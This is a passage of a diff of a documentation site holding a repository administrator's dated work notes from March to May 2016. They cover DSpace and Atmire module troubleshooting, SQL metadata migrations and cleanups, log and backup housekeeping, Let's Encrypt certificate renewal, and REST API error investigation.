    • +
  • For some reason we still have the index-lucene-update cron job active on CGSpace, but I’m pretty sure we don’t need it as of the latest few versions of Atmire’s Listings and Reports module
    • +
  • Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server
    • +
+

2016-03-07

+
    +
  • Troubleshooting the issues with the slew of commits for Atmire modules in #182
    • +
  • Their changes on 5_x-dev branch work, but it is messy as hell with merge commits and old branch base
    • +
  • When I rebase their branch on the latest 5_x-prod I get blank white pages
    • +
  • I identified one commit that causes the issue and let them know
    • +
  • Restart DSpace Test, as it seems to have crashed after Sisay tried to import some CSV or zip or something:
    • +
+
Exception in thread "Lucene Merge Thread #19" org.apache.lucene.index.MergePolicy$MergeException: java.io.IOException: No space left on device
+

2016-03-08

+
    +
  • Add a few new filters to Atmire’s Listings and Reports module (#180)
    • +
  • We had also wanted to add a few to the Content and Usage module but I have to ask the editors which ones they were
    • +
+

2016-03-10

+
    +
  • Disable the lucene cron job on CGSpace as it shouldn’t be needed anymore
    • +
  • Discuss ORCiD and duplicate authors on Yammer
    • +
  • Request new documentation for Atmire CUA and L&R modules, as ours are from 2013
    • +
  • Walk Sisay through some data cleaning workflows in OpenRefine
    • +
  • Start cleaning up the configuration for Atmire’s CUA module (#184)
    • +
  • It is very messed up because some labels are incorrect, fields are missing, etc
    • +
+

Mixed up label in Atmire CUA

+
    +
  • Update documentation for Atmire modules
    • +
+

2016-03-11

+
    +
  • As I was looking at the CUA config I realized our Discovery config is all messed up and confusing
    • +
  • I’ve opened an issue to track some of that work (#186)
    • +
  • I did some major cleanup work on Discovery and XMLUI stuff related to the dc.type indexes (#187)
    • +
  • We had been confusing dc.type (a Dublin Core value) with dc.type.output (a value we invented) for a few years and it had permeated all aspects of our data, indexes, item displays, etc.
    • +
  • There is still some more work to be done to remove references to old outputtype and output
    • +
+

2016-03-14

+
    +
  • Fix some items that had invalid dates (I noticed them in the log during a re-indexing)
    • +
  • Reset search.index.* to the default, as it is only used by Lucene (deprecated by Discovery in DSpace 5.x): #188
    • +
  • Make titles in Discovery and Browse by more consistent (singular, sentence case, etc) (#186)
    • +
  • Also four or so center-specific subject strings were missing for Discovery
    • +
+

Missing XMLUI string

+

2016-03-15

+
    +
  • Create simple theme for new AVCD community just for a unique Google Tracking ID (#191)
    • +
+

2016-03-16

+
    +
  • Still having problems deploying Atmire’s CUA updates and fixes from January!
    • +
  • More discussion on the GitHub issue here: https://github.com/ilri/DSpace/pull/182
    • +
  • Clean up Atmire CUA config (#193)
    • +
  • Help Sisay with some PostgreSQL queries to clean up the incorrect dc.contributor.corporateauthor field
    • +
  • I noticed that we have some weird values in dc.language:
    • +
+
# select * from metadatavalue where metadata_field_id=37;
+ metadata_value_id | resource_id | metadata_field_id | text_value | text_lang | place | authority | confidence | resource_type_id
+-------------------+-------------+-------------------+------------+-----------+-------+-----------+------------+------------------
+           1942571 |       35342 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942468 |       35345 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942479 |       35337 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942505 |       35336 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942519 |       35338 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942535 |       35340 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942555 |       35341 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942588 |       35343 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942610 |       35346 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942624 |       35347 |                37 | hi         |           |     1 |           |         -1 |                2
+           1942639 |       35339 |                37 | hi         |           |     1 |           |         -1 |                2
+
    +
  • It seems this dc.language field isn’t really used, but we should delete these values
    • +
  • Also, dc.language.iso has some weird values, like “En” and “English”
    • +
+

2016-03-17

+
    +
  • It turns out hi is the ISO 639 language code for Hindi, but these should be in dc.language.iso instead of dc.language
    • +
  • I fixed the eleven items with hi as well as some using the incorrect vn for Vietnamese
    • +
  • Start discussing CG core with Abenet and Sisay
    • +
  • Re-sync CGSpace database to DSpace Test for Atmire to do some tests about the problematic CUA patches
    • +
  • The patches work fine with a clean database, so the error was caused by some mismatch in CUA versions and the database during my testing
    • +
+

2016-03-18

+
    +
  • Merge Atmire fixes into 5_x-prod
    • +
  • Discuss thumbnails with Francesca from Bioversity
    • +
  • Some of their items end up with thumbnails that have a big white border around them:
    • +
+

Excessive whitespace in thumbnail

+
    +
  • Turns out we can add -trim to the GraphicsMagick options to trim the whitespace
    • +
+

Trimmed thumbnail

+
    +
  • Command used:
    • +
+
$ gm convert -trim -quality 82 -thumbnail x300 -flatten Descriptor\ for\ Butia_EN-2015_2021.pdf\[0\] cover.jpg
+
    +
  • Also, it looks like adding -sharpen 0x1.0 really improves the quality of the image for only a few KB
    • +
+

2016-03-21

+ +

CGSpace pages in Google index

+
    +
  • Turns out this is a problem with DSpace’s robots.txt, and there’s a Jira ticket since December, 2015: https://jira.duraspace.org/browse/DS-2962
    • +
  • I am not sure if I want to apply it yet
    • +
  • For now I’ve just set a bunch of these dynamic pages to not appear in search results by using the URL Parameters tool in Webmaster Tools
    • +
+

URL parameters cause millions of dynamic pages +Setting pages with the filter_0 param not to show in search results

+
    +
  • Move AVCD collection to new community and update move_collection.sh script: https://gist.github.com/alanorth/392c4660e8b022d99dfa
    • +
  • It seems Feedburner can do HTTPS now, so we might be able to update our feeds and simplify the nginx configs
    • +
  • De-deploy CGSpace with latest 5_x-prod branch
    • +
  • Run updates on CGSpace and reboot server (new kernel, 4.5.0)
    • +
  • Deploy Let’s Encrypt certificate for cgspace.cgiar.org, but still need to work it into the ansible playbooks
    • +
+

2016-03-22

+
    +
  • Merge robots.txt patch and disallow indexing of browse pages as our sitemap is consumed correctly (#198)
    • +
+

2016-03-23

+ +
Can't find method org.dspace.app.xmlui.aspect.administrative.FlowGroupUtils.processSaveGroup(org.dspace.core.Context,number,string,[Ljava.lang.String;,[Ljava.lang.String;,org.apache.cocoon.environment.wrapper.RequestWrapper). (resource://aspects/Administrative/administrative.js#967)
+
    +
  • I can reproduce the same error on DSpace Test and on my Mac
    • +
  • Looks to be an issue with the Atmire modules, I’ve submitted a ticket to their tracker.
    • +
+

2016-03-24

+ +

2016-03-25

+
    +
  • Having problems with Listings and Reports, seems to be caused by a rogue reference to dc.type.output
    • +
  • This is the error we get when we proceed to the second page of Listings and Reports: https://gist.github.com/alanorth/b2d7fb5b82f94898caaf
    • +
  • Commenting out the line works, but I haven’t figured out the proper syntax for referring to dc.type.*
    • +
+

2016-03-28

+
    +
  • Look into enabling the embargo during item submission, see: https://wiki.lyrasis.org/display/DSDOC5x/Embargo#Embargo-SubmissionProcess
    • +
  • Seems we only want AccessStep because UploadWithEmbargoStep disables the ability to edit embargos at the item level
    • +
  • This pull request enables the ability to set an item-level embargo during submission: https://github.com/ilri/DSpace/pull/203
    • +
  • I figured out that the problem with Listings and Reports was because I disabled the search.index.* last week, and they are still used by JSPUI apparently
    • +
  • This pull request re-enables them: https://github.com/ilri/DSpace/pull/202
    • +
  • Re-deploy DSpace Test, run all system updates, and restart the server
    • +
  • Looks like the Listings and Reports fix was NOT due to the search indexes (which are actually not used), and rather due to the filter configuration in the Listings and Reports config
    • +
  • This pull request simply updates the config for the dc.type.output → dc.type change that was made last week: https://github.com/ilri/DSpace/pull/204
    • +
  • Deploy robots.txt fix, embargo for item submissions, and listings and reports fix on CGSpace
    • +
+

2016-03-29

+
    +
  • Skype meeting with Peter and Addis team to discuss metadata changes for Dublin Core, CGcore, and CGSpace-specific fields
    • +
  • We decided to proceed with some deletes first, then identify CGSpace-specific fields to clean/move to cg.*, and then worry about broader changes to DC
    • +
  • Before we move or rename and fields we need to circulate a list of fields we intend to change to CCAFS, CWPF, etc who might be harvesting the fields
    • +
  • After all of this we need to start implementing controlled vocabularies for fields, either with the Javascript lookup or like existing ILRI subjects
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-04/index.html b/docs/2016-04/index.html new file mode 100644 index 000000000..267498961 --- /dev/null +++ b/docs/2016-04/index.html @@ -0,0 +1,549 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2016

+

+ + in + +  + +

+
+

2016-04-04

+
    +
  • Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit
    • +
  • We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc
    • +
  • After running DSpace for over five years I’ve never needed to look in any other log file than dspace.log, leave alone one from last year!
    • +
  • This will save us a few gigs of backup space we’re paying for on S3
    • +
  • Also, I noticed the checker log has some errors we should pay attention to:
    • +
+
Run start time: 03/06/2016 04:00:22
+Error retrieving bitstream ID 71274 from asset store.
+java.io.FileNotFoundException: /home/cgspace.cgiar.org/assetstore/64/29/06/64290601546459645925328536011917633626 (Too many open files)
+        at java.io.FileInputStream.open(Native Method)
+        at java.io.FileInputStream.<init>(FileInputStream.java:146)
+        at edu.sdsc.grid.io.local.LocalFileInputStream.open(LocalFileInputStream.java:171)
+        at edu.sdsc.grid.io.GeneralFileInputStream.<init>(GeneralFileInputStream.java:145)
+        at edu.sdsc.grid.io.local.LocalFileInputStream.<init>(LocalFileInputStream.java:139)
+        at edu.sdsc.grid.io.FileFactory.newFileInputStream(FileFactory.java:630)
+        at org.dspace.storage.bitstore.BitstreamStorageManager.retrieve(BitstreamStorageManager.java:525)
+        at org.dspace.checker.BitstreamDAO.getBitstream(BitstreamDAO.java:60)
+        at org.dspace.checker.CheckerCommand.processBitstream(CheckerCommand.java:303)
+        at org.dspace.checker.CheckerCommand.checkBitstream(CheckerCommand.java:171)
+        at org.dspace.checker.CheckerCommand.process(CheckerCommand.java:120)
+        at org.dspace.app.checker.ChecksumChecker.main(ChecksumChecker.java:236)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:606)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:225)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:77)
+******************************************************
+
    +
  • So this would be the tomcat7 Unix user, who seems to have a default limit of 1024 files in its shell
    • +
  • For what it’s worth, we have been setting the actual Tomcat 7 process’ limit to 16384 for a few years (in /etc/default/tomcat7)
    • +
  • Looks like cron will read limits from /etc/security/limits.* so we can do something for the tomcat7 user there
    • +
  • Submit pull request for Tomcat 7 limits in Ansible dspace role (#30)
    • +
+

2016-04-05

+
    +
  • Reduce Amazon S3 storage used for logs from 46 GB to 6GB by deleting a bunch of logs we don’t need!
    • +
+
# s3cmd ls s3://cgspace.cgiar.org/log/ > /tmp/s3-logs.txt
+# grep checker.log /tmp/s3-logs.txt | awk '{print $4}' | xargs s3cmd del
+# grep cocoon.log /tmp/s3-logs.txt | awk '{print $4}' | xargs s3cmd del
+# grep handle-plugin.log /tmp/s3-logs.txt | awk '{print $4}' | xargs s3cmd del
+# grep solr.log /tmp/s3-logs.txt | awk '{print $4}' | xargs s3cmd del
+
    +
  • Also, adjust the cron jobs for backups so they only backup dspace.log and some stats files (.dat)
    • +
  • Try to do some metadata field migrations using the Atmire batch UI (dc.Species → cg.species) but it took several hours and even missed a few records
    • +
+

2016-04-06

+
    +
  • A better way to move metadata on this scale is via SQL, for example dc.type.output → dc.type (their IDs in the metadatafieldregistry are 66 and 109, respectively):
    • +
+
dspacetest=# update metadatavalue set metadata_field_id=109 where metadata_field_id=66;
+UPDATE 40852
+
    +
  • After that an index-discovery -bf is required
    • +
  • Start working on metadata migrations, add 25 or so new metadata fields to CGSpace
    • +
+

2016-04-07

+ +
$ ./migrate-fields.sh
+UPDATE metadatavalue SET metadata_field_id=109 WHERE metadata_field_id=66
+UPDATE 40883
+UPDATE metadatavalue SET metadata_field_id=202 WHERE metadata_field_id=72
+UPDATE 21420
+UPDATE metadatavalue SET metadata_field_id=203 WHERE metadata_field_id=76
+UPDATE 51258
+

2016-04-08

+
    +
  • Discuss metadata renaming with Abenet, we decided it’s better to start with the center-specific subjects like ILRI, CIFOR, CCAFS, IWMI, and CPWF
    • +
  • I’ve e-mailed CCAFS and CPWF people to ask them how much time it will take for them to update their systems to cope with this change
    • +
+

2016-04-10

+ +
dspacetest=# select count(*) from metadatavalue where metadata_field_id=74 and text_value like 'http://dx.doi.org%';
+ count
+-------
+  5638
+(1 row)
+
+dspacetest=# select count(*) from metadatavalue where metadata_field_id=74 and text_value like 'http://doi.org%';
+ count
+-------
+     3
+
    +
  • I will manually edit the dc.identifier.doi in 10568/72509 and tweet the link, then check back in a week to see if the donut gets updated
    • +
+

2016-04-11

+
    +
  • The donut is already updated and shows the correct number now
    • +
  • CCAFS people say it will only take them an hour to update their code for the metadata renames, so I proposed we’d do it tentatively on Monday the 18th.
    • +
+

2016-04-12

+
    +
  • Looking at quality of WLE data (cg.subject.iwmi) in SQL:
    • +
+
dspacetest=# select text_value, count(*) from metadatavalue where metadata_field_id=217 group by text_value order by count(*) desc;
+
    +
  • Listings and Reports is still not returning reliable data for dc.type
    • +
  • I think we need to ask Atmire, as their documentation isn’t too clear on the format of the filter configs
    • +
  • Alternatively, I want to see if I move all the data from dc.type.output to dc.type and then re-index, if it behaves better
    • +
  • Looking at our input-forms.xml I see we have two sets of ILRI subjects, but one has a few extra subjects
    • +
  • Remove one set of ILRI subjects and remove duplicate VALUE CHAINS from existing list (#216)
    • +
  • I decided to keep the set of subjects that had FMD and RANGELANDS added, as it appears to have been requested to have been added, and might be the newer list
    • +
  • I found 226 blank metadatavalues:
    • +
+
dspacetest# select * from metadatavalue where resource_type_id=2 and text_value='';
+
    +
  • I think we should delete them and do a full re-index:
    • +
+
dspacetest=# delete from metadatavalue where resource_type_id=2 and text_value='';
+DELETE 226
+
    +
  • I deleted them on CGSpace but I’ll wait to do the re-index as we’re going to be doing one in a few days for the metadata changes anyways
    • +
  • In other news, moving the dc.type.output to dc.type and re-indexing seems to have fixed the Listings and Reports issue from above
    • +
  • Unfortunately this isn’t a very good solution, because Listings and Reports config should allow us to filter on dc.type.* but the documentation isn’t very clear and I couldn’t reach Atmire today
    • +
  • We want to do the dc.type.output move on CGSpace anyways, but we should wait as it might affect other external people!
    • +
+

2016-04-14

+
    +
  • Communicate with Macaroni Bros again about dc.type
    • +
  • Help Sisay with some rsync and Linux stuff
    • +
  • Notify CIAT people of metadata changes (I had forgotten them last week)
    • +
+

2016-04-15

+
    +
  • DSpace Test had crashed, so I ran all system updates, rebooted, and re-deployed DSpace code
    • +
+

2016-04-18

+
    +
  • Talk to CIAT people about their portal again
    • +
  • Start looking more at the fields we want to delete
    • +
  • The following metadata fields have 0 items using them, so we can just remove them from the registry and any references in XMLUI, input forms, etc: +
      +
    • dc.description.abstractother
      • +
    • dc.whatwasknown
      • +
    • dc.whatisnew
      • +
    • dc.description.nationalpartners
      • +
    • dc.peerreviewprocess
      • +
    • cg.species.animal
      • +
    +
    • +
  • Deleted!
    • +
  • The following fields have some items using them and I have to decide what to do with them (delete or move): +
      +
    • dc.icsubject.icrafsubject: 6 items, mostly in CPWF collections
      • +
    • dc.type.journal: 11 items, mostly in ILRI collections
      • +
    • dc.publicationcategory: 1 item, in CPWF
      • +
    • dc.GRP: 2 items, CPWF
      • +
    • dc.Species.animal: 6 items, in ILRI and AnGR
      • +
    • cg.livestock.agegroup: 9 items, in ILRI collections
      • +
    • cg.livestock.function: 20 items, mostly in EADD
      • +
    +
    • +
  • Test metadata migration on local instance again:
    • +
+
$ ./migrate-fields.sh
+UPDATE metadatavalue SET metadata_field_id=109 WHERE metadata_field_id=66
+UPDATE 40885
+UPDATE metadatavalue SET metadata_field_id=203 WHERE metadata_field_id=76
+UPDATE 51330
+UPDATE metadatavalue SET metadata_field_id=208 WHERE metadata_field_id=82
+UPDATE 5986
+UPDATE metadatavalue SET metadata_field_id=210 WHERE metadata_field_id=88
+UPDATE 2456
+UPDATE metadatavalue SET metadata_field_id=215 WHERE metadata_field_id=106
+UPDATE 3872
+UPDATE metadatavalue SET metadata_field_id=217 WHERE metadata_field_id=108
+UPDATE 46075
+$ JAVA_OPTS="-Xms512m -Xmx512m -Dfile.encoding=UTF-8" ~/dspace/bin/dspace index-discovery -bf
+
    +
  • CGSpace was down but I’m not sure why, this was in catalina.out:
    • +
+
Apr 18, 2016 7:32:26 PM com.sun.jersey.spi.container.ContainerResponse logException
+SEVERE: Mapped exception to response: 500 (Internal Server Error)
+javax.ws.rs.WebApplicationException
+        at org.dspace.rest.Resource.processFinally(Resource.java:163)
+        at org.dspace.rest.HandleResource.getObject(HandleResource.java:81)
+        at sun.reflect.GeneratedMethodAccessor198.invoke(Unknown Source)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:606)
+        at com.sun.jersey.spi.container.JavaMethodInvokerFactory$1.invoke(JavaMethodInvokerFactory.java:60)
+        at com.sun.jersey.server.impl.model.method.dispatch.AbstractResourceMethodDispatchProvider$TypeOutInvoker._dispatch(AbstractResourceMethodDispatchProvider.java:185)
+        at com.sun.jersey.server.impl.model.method.dispatch.ResourceJavaMethodDispatcher.dispatch(ResourceJavaMethodDispatcher.java:75)
+        at com.sun.jersey.server.impl.uri.rules.HttpMethodRule.accept(HttpMethodRule.java:302)
+        at com.sun.jersey.server.impl.uri.rules.RightHandPathRule.accept(RightHandPathRule.java:147)
+        at com.sun.jersey.server.impl.uri.rules.ResourceClassRule.accept(ResourceClassRule.java:108)
+        at com.sun.jersey.server.impl.uri.rules.RightHandPathRule.accept(RightHandPathRule.java:147)
+        at com.sun.jersey.server.impl.uri.rules.RootResourceClassesRule.accept(RootResourceClassesRule.java:84)
+        at com.sun.jersey.server.impl.application.WebApplicationImpl._handleRequest(WebApplicationImpl.java:1511)
+        at com.sun.jersey.server.impl.application.WebApplicationImpl._handleRequest(WebApplicationImpl.java:1442)
+        at com.sun.jersey.server.impl.application.WebApplicationImpl.handleRequest(WebApplicationImpl.java:1391)
+        at com.sun.jersey.server.impl.application.WebApplicationImpl.handleRequest(WebApplicationImpl.java:1381)
+        at com.sun.jersey.spi.container.servlet.WebComponent.service(WebComponent.java:416)
+...
+
    +
  • Everything else in the system looked normal (50GB disk space available, nothing weird in dmesg, etc)
    • +
  • After restarting Tomcat a few more of these errors were logged but the application was up
    • +
+

2016-04-19

+
    +
  • Get handles for items that are using a given metadata field, ie dc.Species.animal (105):
    • +
+
# select handle from item, handle where handle.resource_id = item.item_id AND item.item_id in (select resource_id from metadatavalue where resource_type_id=2 and metadata_field_id=105);
+   handle
+-------------
+ 10568/10298
+ 10568/16413
+ 10568/16774
+ 10568/34487
+
    +
  • Delete metadata values for dc.GRP and dc.icsubject.icrafsubject:
    • +
+
# delete from metadatavalue where resource_type_id=2 and metadata_field_id=96;
+# delete from metadatavalue where resource_type_id=2 and metadata_field_id=83;
+
    +
  • They are old ICRAF fields and we haven’t used them since 2011 or so
    • +
  • Also delete them from the metadata registry
    • +
  • CGSpace went down again, dspace.log had this:
    • +
+
2016-04-19 15:02:17,025 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -
+org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • I restarted Tomcat and PostgreSQL and now it’s back up
    • +
  • I bet this is the same crash as yesterday, but I only saw the errors in catalina.out
    • +
  • Looks to be related to this, from dspace.log:
    • +
+
2016-04-19 15:16:34,670 ERROR org.dspace.rest.Resource @ Something get wrong. Aborting context in finally statement.
+
    +
  • We have 18,000 of these errors right now…
    • +
  • Delete a few more old metadata values: dc.Species.animal, dc.type.journal, and dc.publicationcategory:
    • +
+
# delete from metadatavalue where resource_type_id=2 and metadata_field_id=105;
+# delete from metadatavalue where resource_type_id=2 and metadata_field_id=85;
+# delete from metadatavalue where resource_type_id=2 and metadata_field_id=95;
+
    +
  • And then remove them from the metadata registry
    • +
+

2016-04-20

+
    +
  • Re-deploy DSpace Test with the new subject and type fields, run all system updates, and reboot the server
    • +
  • Migrate fields and re-deploy CGSpace with the new subject and type fields, run all system updates, and reboot the server
    • +
  • Field migration went well:
    • +
+
$ ./migrate-fields.sh
+UPDATE metadatavalue SET metadata_field_id=109 WHERE metadata_field_id=66
+UPDATE 40909
+UPDATE metadatavalue SET metadata_field_id=203 WHERE metadata_field_id=76
+UPDATE 51419
+UPDATE metadatavalue SET metadata_field_id=208 WHERE metadata_field_id=82
+UPDATE 5986
+UPDATE metadatavalue SET metadata_field_id=210 WHERE metadata_field_id=88
+UPDATE 2458
+UPDATE metadatavalue SET metadata_field_id=215 WHERE metadata_field_id=106
+UPDATE 3872
+UPDATE metadatavalue SET metadata_field_id=217 WHERE metadata_field_id=108
+UPDATE 46075
+
    +
  • Also, I migrated CGSpace to using the PGDG PostgreSQL repo as the infrastructure playbooks had been using it for a while and it seemed to be working well
    • +
  • Basically, this gives us the ability to use the latest upstream stable 9.3.x release (currently 9.3.12)
    • +
  • Looking into the REST API errors again, it looks like these started appearing a few days ago in the tens of thousands:
    • +
+
$ grep -c "Aborting context in finally statement" dspace.log.2016-04-20
+21252
+
    +
  • I found a recent discussion on the DSpace mailing list and I’ve asked for advice there
    • +
  • Looks like this issue was noted and fixed in DSpace 5.5 (we’re on 5.1): https://jira.duraspace.org/browse/DS-2936
    • +
  • I’ve sent a message to Atmire asking about compatibility with DSpace 5.5
    • +
+

2016-04-21

+
    +
  • Fix a bunch of metadata consistency issues with IITA Journal Articles (Peer review, Formally published, messed up DOIs, etc)
    • +
  • Atmire responded with DSpace 5.5 compatible versions for their modules, so I’ll start testing those in a few weeks
    • +
+

2016-04-22

+ +

2016-04-26

+ +

2016-04-27

+
    +
  • I woke up to ten or fifteen “up” and “down” emails from the monitoring website
    • +
  • Looks like the last one was “down” from about four hours ago
    • +
  • I think there must be something with this REST stuff:
    • +
+
# grep -c "Aborting context in finally statement" dspace.log.2016-04-*
+dspace.log.2016-04-01:0
+dspace.log.2016-04-02:0
+dspace.log.2016-04-03:0
+dspace.log.2016-04-04:0
+dspace.log.2016-04-05:0
+dspace.log.2016-04-06:0
+dspace.log.2016-04-07:0
+dspace.log.2016-04-08:0
+dspace.log.2016-04-09:0
+dspace.log.2016-04-10:0
+dspace.log.2016-04-11:0
+dspace.log.2016-04-12:235
+dspace.log.2016-04-13:44
+dspace.log.2016-04-14:0
+dspace.log.2016-04-15:35
+dspace.log.2016-04-16:0
+dspace.log.2016-04-17:0
+dspace.log.2016-04-18:11942
+dspace.log.2016-04-19:28496
+dspace.log.2016-04-20:28474
+dspace.log.2016-04-21:28654
+dspace.log.2016-04-22:28763
+dspace.log.2016-04-23:28773
+dspace.log.2016-04-24:28775
+dspace.log.2016-04-25:28626
+dspace.log.2016-04-26:28655
+dspace.log.2016-04-27:7271
+
    +
  • I restarted tomcat and it is back up
    • +
  • Add Spanish XMLUI strings so those users see “CGSpace” instead of “DSpace” in the user interface (#222)
    • +
  • Submit patch to upstream DSpace for the misleading help text in the embargo step of the item submission: https://jira.duraspace.org/browse/DS-3172
    • +
  • Update infrastructure playbooks for nginx 1.10.x (stable) release: https://github.com/ilri/rmg-ansible-public/issues/32
    • +
  • Currently running on DSpace Test, we’ll give it a few days before we adjust CGSpace
    • +
  • CGSpace down, restarted tomcat and it’s back up
    • +
+

2016-04-28

+
    +
  • Problems with stability again. I’ve blocked access to /rest for now to see if the number of errors in the log files drop
    • +
  • Later we could maybe start logging access to /rest and perhaps whitelist some IPs…
    • +
+

2016-04-30

+
    +
  • Logs for today and yesterday have zero references to this REST error, so I’m going to open back up the REST API but log all requests
    • +
+
location /rest {
+	access_log /var/log/nginx/rest.log;
+	proxy_pass http://127.0.0.1:8443;
+}
+
    +
  • I will check the logs again in a few days to look for patterns, see who is accessing it, etc
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-05/index.html b/docs/2016-05/index.html new file mode 100644 index 000000000..66bf531ab --- /dev/null +++ b/docs/2016-05/index.html @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2016

+

+ + in + +  + +

+
+

2016-05-01

+
    +
  • Since yesterday there have been 10,000 REST errors and the site has been unstable again
    • +
  • I have blocked access to the API now
    • +
  • There are 3,000 IPs accessing the REST API in a 24-hour period!
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log  | uniq | wc -l
+3168
+
    +
  • The two most often requesters are in Ethiopia and Colombia: 213.55.99.121 and 181.118.144.29
    • +
  • 100% of the requests coming from Ethiopia are like this and result in an HTTP 500:
    • +
+
GET /rest/handle/10568/NaN?expand=parentCommunityList,metadata HTTP/1.1
+
    +
  • For now I’ll block just the Ethiopian IP
    • +
  • The owner of that application has said that the NaN (not a number) is an error in his code and he’ll fix it
    • +
+

2016-05-03

+
    +
  • Update nginx to 1.10.x branch on CGSpace
    • +
  • Fix a reference to dc.type.output in Discovery that I had missed when we migrated to dc.type last month (#223)
    • +
+

Item type in Discovery results

+

2016-05-06

+
    +
  • DSpace Test is down, catalina.out has lots of messages about heap space from some time yesterday (!)
    • +
  • It looks like Sisay was doing some batch imports
    • +
  • Hmm, also disk space is full
    • +
  • I decided to blow away the solr indexes, since they are 50GB and we don’t really need all the Atmire stuff there right now
    • +
  • I will re-generate the Discovery indexes after re-deploying
    • +
  • Testing renew-letsencrypt.sh script for nginx
    • +
+
#!/usr/bin/env bash
+
+readonly SERVICE_BIN=/usr/sbin/service
+readonly LETSENCRYPT_BIN=/opt/letsencrypt/letsencrypt-auto
+
+# stop nginx so LE can listen on port 443
+$SERVICE_BIN nginx stop
+
+$LETSENCRYPT_BIN renew -nvv --standalone --standalone-supported-challenges tls-sni-01 > /var/log/letsencrypt/renew.log 2>&1
+
+LE_RESULT=$?
+
+$SERVICE_BIN nginx start
+
+if [[ "$LE_RESULT" != 0 ]]; then
+    echo 'Automated renewal failed:'
+
+    cat /var/log/letsencrypt/renew.log
+
+    exit 1
+fi
+
    +
  • Seems to work well
    • +
+

2016-05-10

+
    +
  • Start looking at more metadata migrations
    • +
  • There are lots of fields in dcterms namespace that look interesting, like: +
      +
    • dcterms.type
      • +
    • dcterms.spatial
      • +
    +
    • +
  • Not sure what dcterms is…
    • +
  • Looks like these were added in DSpace 4 to allow for future work to make DSpace more flexible
    • +
  • CGSpace’s dc registry has 96 items, and the default DSpace one has 73.
    • +
+

2016-05-11

+
    +
  • +

    Identify and propose the next phase of CGSpace fields to migrate:

    +
      +
    • dc.title.jtitle → cg.title.journal
      • +
    • dc.identifier.status → cg.identifier.status
      • +
    • dc.river.basin → cg.river.basin
      • +
    • dc.Species → cg.species
      • +
    • dc.targetaudience → cg.targetaudience
      • +
    • dc.fulltextstatus → cg.fulltextstatus
      • +
    • dc.editon → cg.edition
      • +
    • dc.isijournal → cg.isijournal
      • +
    +
    • +
  • +

    Start a test rebase of the 5_x-prod branch on top of the dspace-5.5 tag

    +
    • +
  • +

    There were a handful of conflicts that I didn’t understand

    +
    • +
  • +

    After completing the rebase I tried to build with the module versions Atmire had indicated as being 5.5 ready but I got this error:

    +
    • +
+
[ERROR] Failed to execute goal on project additions: Could not resolve dependencies for project org.dspace.modules:additions:jar:5.5: Could not find artifact com.atmire:atmire-metadata-quality-api:jar:5.5-2.10.1-0 in sonatype-releases (https://oss.sonatype.org/content/repositories/releases/) -> [Help 1]
+
    +
  • I’ve sent them a question about it
    • +
  • A user mentioned having problems with uploading a 33 MB PDF
    • +
  • I told her I would increase the limit temporarily tomorrow morning
    • +
  • Turns out she was able to decrease the size of the PDF so we didn’t have to do anything
    • +
+

2016-05-12

+
    +
  • Looks like the issue that Abenet was having a few days ago with “Connection Reset” in Firefox might be due to a Firefox 46 issue: https://bugzilla.mozilla.org/show_bug.cgi?id=1268775
    • +
  • I finally found a copy of the latest CG Core metadata guidelines and it looks like we can add a few more fields to our next migration: +
      +
    • dc.rplace.region → cg.coverage.region
      • +
    • dc.cplace.country → cg.coverage.country
      • +
    +
    • +
  • Questions for CG people: +
      +
    • Our dc.place and dc.srplace.subregion could both map to cg.coverage.admin-unit?
      • +
    • Should we use dc.contributor.crp or cg.contributor.crp for the CRP (ours is dc.crsubject.crpsubject)?
      • +
    • Our dc.contributor.affiliation and dc.contributor.corporate could both map to dc.contributor and possibly dc.contributor.center depending on if it’s a CG center or not
      • +
    • dc.title.jtitle could either map to dc.publisher or dc.source depending on how you read things
      • +
    +
    • +
  • Found ~200 messed up CIAT values in dc.publisher:
    • +
+
# select text_value from metadatavalue where resource_type_id=2 and metadata_field_id=39 and text_value similar to "%  %";
+

2016-05-13

+
    +
  • More theorizing about CGcore
    • +
  • Add two new fields: +
      +
    • dc.srplace.subregion → cg.coverage.admin-unit
      • +
    • dc.place → cg.place
      • +
    +
    • +
  • dc.place is our own field, so it’s easy to move
    • +
  • I’ve removed dc.title.jtitle from the list for now because there’s no use moving it out of DC until we know where it will go (see discussion yesterday)
    • +
+

2016-05-18

+
    +
